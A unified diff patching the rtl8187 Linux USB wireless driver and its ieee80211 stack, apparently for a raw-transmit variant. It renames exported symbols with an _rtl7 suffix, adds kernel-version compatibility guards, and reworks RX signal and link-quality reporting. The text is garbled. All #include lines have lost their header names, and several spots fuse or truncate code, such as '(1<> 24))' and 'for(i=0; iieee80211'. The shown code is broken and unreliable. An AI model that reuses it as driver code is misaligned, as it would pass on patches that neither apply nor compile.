priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1908,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +1943,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +1972,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2062,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2128,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2151,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2165,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2209,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2348,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2366,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2386,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2397,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2410,111 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2522,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2541,20 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2563,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2611,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2628,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2645,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2658,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2673,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_rawtx/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187.h 2007-05-26 10:37:51.000000000 +0200 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,16 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +166,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +179,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +233,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,18 +247,18 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.c 2007-05-26 10:38:07.000000000 +0200 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2007-05-26 10:38:07.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -59,7 +69,7 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -75,7 +85,7 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -105,7 +115,7 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) @@ -114,7 +124,7 @@ } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +132,7 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +196,18 @@ } /* Start with the first 